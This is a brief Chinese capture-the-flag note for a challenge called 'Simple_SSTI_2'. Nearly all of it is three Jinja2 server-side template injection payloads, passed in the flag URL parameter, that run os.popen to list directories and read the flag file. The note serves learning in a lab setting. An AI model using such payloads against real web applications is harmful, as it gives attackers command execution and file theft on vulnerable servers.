Simple_SSTI_2

学习了一个注入模板
/?flag={{%20config.class.init.globals[%27os%27].popen(%27LS%20../%27).read()%20}}
?flag={{%20config.class.init.globals[%27os%27].popen(%27ls%20../app/%27).read()%20}}
?flag={{%20config.class.init.globals[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

自己注意对比就好了